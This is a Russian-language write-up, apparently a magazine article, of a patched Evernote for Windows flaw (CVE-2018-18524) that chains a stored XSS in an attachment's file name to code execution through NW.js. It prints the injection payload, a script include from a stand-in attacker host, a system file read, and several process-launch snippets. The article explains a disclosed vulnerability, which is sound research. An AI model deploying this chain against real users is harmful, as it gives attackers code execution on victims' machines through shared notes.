Как с помощью XSS исполнять произвольный код в Evernote
Не сомневаюсь, что ты слышал про сервис создания и хранения заметок Evernote. В клиентском приложении Evernote для Windows есть хранимая XSS-уязвимость, с помощью которой можно выполнить произвольный код на целевой системе пользователя.
INFO
Эта уязвимость получила код CVE-2018-18524.
Evernote — это один из первопроходцев в области сервисов для ведения заметок на разных устройствах с возможностью синхронизации. Публичная бета была выпущена уже более десяти лет назад, в июне 2008 года. Заметками здесь считаются фрагменты форматированного текста, веб-страницы целиком или частями, фотографии, аудиофайлы или рукописные записи.
Заметки могут также содержать вложения с файлами другого типа. Довольно удобная вещь, которая прочно вошла в обиход современного пользователя. Количество пользователей Evernote на данный момент превысило 200 миллионов. Разумеется, клиенты Evernote доступны на всех основных платформах: Android, iOS, macOS и, конечно, Windows.
В версии для Windows и была обнаружена уязвимость типа XSS. Многие исследователи и аудиторы недооценивают этот тип атак и списывают его со счетов. Но перед нами как раз пример случая, когда XSS легким движением руки превращается в удаленное выполнение команд на машине юзера.
Уязвимость изначально была найдена человеком под ником @sebao, а затем допилена и раскручена до RCE исследователем Тунцином Чжу (Tongqing Zhu) из Knownsec 404 и отправлена вендору. Под угрозой оказались все версии приложения ниже беты 6.16.1. Давай посмотрим, как это стало возможным.
Стенд
Так как уязвима только версия приложения для Windows, нам, очевидно, понадобится эта ОС. Заметку с XSS можно создать почти в любой версии ниже 6.15. Я буду использовать 6.14.5 билд 7671. Установка стандартна.
После того как мы создадим заметку с пейлоадом, она будет работать на любой версии ниже беты 6.16.1.
Почему такая путаница с версиями? Дело в том, что с 6.15 разработчики внедрили санитизацию пользовательских данных: фильтруются символы <
, >
и "
. Поэтому создать заметку с XSS легальными способами в приложении больше не выйдет.
Первые шаги
После установки нужно зарегистрироваться или войти в аккаунт, если он у тебя уже есть. Создаем новую заметку и перетаскиваем туда любую картинку.
Окно можно закрывать, данные сохраняются автоматически. Теперь посмотрим, в каком формате приложение хранит данные. Для этого зайдем в настройки в секцию General и найдем раздел Evernote local files.
Там нужно нажать на линк Open Database folder. Попадаем в папку с файлами профиля вида <имя_профиля>.exb
. Для открытия такого файла придется скопировать его или завершить работу с приложением Evernote. Воспользуемся любым HEX-редактором, чтобы увидеть содержимое файла.
Как видишь, заголовок сообщает, что это обычная база данных в формате SQLite версии 3. Проверим это. Существует множество приложений, которые позволяют манипулировать ими. Я пользуюсь DB Browser for SQLite. Устанавливаем и открываем файл EXB в ней. Среди множества таблиц есть resource_attr
. Здесь хранятся данные элементов, прикрепленных к заметкам, таких как наша картинка.
В поле file_name
хранится текущее имя аттача. Его можно изменить в самой заметке, щелкнув правой кнопкой мыши по картинке и выбрав Rename. Напишем здесь что-то более осмысленное, например " onclick="alert('XSS')">.jpg
.
Теперь заглянем в базу и снова посмотрим на поле file_name
.
Теперь переоткроем созданную заметку и кликнем по картинке.
Бам! Поймали алерт. Так происходит, потому что в редакторе используется разметка HTML для форматирования данных. Под катом почти полноценный браузер с JavaScript и всякими дополнительными плюшками. Можно покопаться в памяти процесса Evernote и найти, как выглядит код, выводящий картинку.
<span> <div><img src="en-resource://database/392:0" type="image/jpeg" data-filename="Mia.jpg#26132855"/></div> <div><br/></div> </span>
Ссылка en-resource://database/392:0
указывает на аттач с UID 392 в базе. Как ты видел выше, это наша картинка. В атрибуте data-filename
— данные из поля file_name
. Именно сюда мы внедряем пейлоад.
<img src="en-resource://database/392:0" type="image/jpeg" data-filename="" onclick="alert('XSS')">.jpg#26132855"/>
Поэтому-то алерт и отрабатывает.
Если ты используешь более новую версию, в которой уже фильтруется пользовательский ввод и нельзя создать картинку с XSS, то можешь изменить поле file_name
напрямую в таблице — это тоже прокатит.
Давай преобразуем наш пейлоад в более удобный для эксплуатации вид:
"><script src="http://attacker.server/xss.js">.jpg
Теперь нам не придется каждый раз править код, чтобы попробовать что-то новое.
От XSS до RCE
Естественно, ты можешь использовать более изощренный вектор XSS, но так или иначе получить доступ к каким-либо пользовательским данным исследователю не удалось. Тунцин Чжу попробовал воспользоваться разными методами встроенного API (evernote.openAttachment
, goog.loadModuleFromUrl
), но безуспешно. Ты можешь самостоятельно покопать в этом направлении — может быть, ты найдешь какой-нибудь крутой способ эксплуатации. Исходники редактора заметок доступны тут.
Для дальнейшего продвижения было решено немного покопаться в недрах Evernote. В папке, где установлен Evernote, можно обнаружить директорию NodeWebKit
. В ней расположилось приложение Node-Webkit, которое сейчас называется просто NW.js
. Это JavaScript-фреймворк, который позволяет создавать кросс-платформенные десктопные приложения для Windows, macOS и Linux при помощи веб-технологий на базе Node.js и движка Chromium. Это решение чем-то напоминает Electron. NW.js позволяет вызывать модули Node.js непосредственно из DOM. Для нас это означает, что если мы найдем, где используется этот фреймворк, то сможем через XSS задействовать всю мощь языка Node.js.
К счастью, долго искать не придется, так как на NW.js работает режим презентации (Present).
Это премиум-функция, но у тебя есть тридцатидневный триал фреймворка. Здесь все так же отрабатывает наша XSS’ка.
К сожалению, попытка использовать стандартные техники типа require('child_process').exec
для вызова произвольной программы не увенчалась успехом. Приложение возвращает ошибку Module name "child_process" has not been loaded yet
.
xss.js
1: try { 2: require('child_process').exec('ls'); 3: } 4: catch(err) { 5: alert(err); 6: }
Нужно придумать что-то другое. В помощь нам есть интересный репорт об уязвимости в math.js. Из него мы можем узнать трюк, который позволяет читать файлы на целевой системе.
xss.js
1: try { 2: var buffer = new Buffer(8192); 3: process.binding('fs').read(process.binding('fs').open('..\\..\\..\\..\\..\\..\\..\\Windows\\win.ini', 0, 0600), buffer, 0, 4096); 4: alert(buffer); 5: } 6: catch(err) { 7: alert(err); 8: }
И, немного пошаманив с вызовами функций, можно добиться удаленного выполнения кода.
xss.js
01: try { 02: spawn_sync = process.binding('spawn_sync'); 03: envPairs = []; 04: for (var key in window.process.env) { 05: envPairs.push(key + '=' + window.process.env[key]); 06: } 07: args = []; 08: 09: const options = { 10: file: 'C:\\\\Windows\\system32\\calc.exe', 11: args: args, 12: envPairs: envPairs, 13: stdio: [ 14: { type: 'pipe', readable: true, writable: false }, 15: { type: 'pipe', readable: false, writable: true }, 16: { type: 'pipe', readable: false, writable: true } 17: ] 18: }; 19: spawn_sync.spawn(options); 20: } 21: catch(err) { 22: alert(err); 23: }
Слишком громоздко, не правда ли? Я тоже так думаю, поэтому, немного покурив мануалы по NW.js, я нашел гораздо более простой способ сделать то же самое. В фреймворке есть коллекция методов Shell
. В ней нас интересует openItem
. Он позволяет открывать файлы в системе с привязкой к конкретной программе. Например, если я попробую выполнить gui.Shell.openItem('test.txt');
, то система откроет test.txt
в дефолтном текстовом редакторе. Естественно, исполняемые файлы тоже можно вызывать этим методом. Отдельно подгружать nw.gui
не нужно, так как все уже сделано до нас.
C:\Program Files (x86)\Evernote\Evernote\NodeWebKit\present\index.html
411: <script> 412: if (window.require) { 413: window.gui = require('nw.gui'); 414: window.nodeRequire = window.require;
Остается только вызвать метод с нужными параметрами.
xss.js
1: try { 2: window.gui.Shell.openItem('calc'); 3: } 4: catch(err) { 5: alert(err); 6: }
Надеюсь, ты, так же как и я, обратил внимание на window.require
в коде страницы index.html
. Этот объект затем присваивается window.nodeRequire
. И да, это именно то, о чем ты подумал, — директива require
из состава Node.js. Поэтому все стандартные методы эксплуатации сработают, достаточно внести изменения.
xss.js
1: try { 2: window.nodeRequire('child_process').spawn('ls').stdout.on('data', function (data) {alert(data); }); 3: } 4: catch(err) { 5: alert(err); 6: }
Иногда достаточно лишь немножко глубже копнуть!
Итак, RCE у нас есть. Теперь нужно как-то доставить ее до цели. Это самый простой шаг, так как одна из основных функций Evernote — это возможность шейринга заметок.
А уж под каким предлогом заставить жертву запустить режим презентации и что дальше с этим делать — это совсем другая история.
Демонстрация уязвимости (видео)
Вывод
Итак, в популярнейшем сервисе Evernote есть опасная уязвимость. Мы научились превращать XSS в RCE и даже упростили эксплоит, немного разобравшись во внутренностях NW.js. Разработчики быстро отреагировали на репорт, но первым фиксом закрыли только возможность создавать заметки с XSS, что, как мы выяснили выше, можно легко обойти. Инъекция продолжала триггериться и в более поздних версиях приложения, вплоть до 6.16. Наконец спустя несколько месяцев разработчики выпустили окончательный фикс. Или не окончательный?
Может, именно ты найдешь возможность снова проэксплуатировать этот баг. Удачи в исследованиях!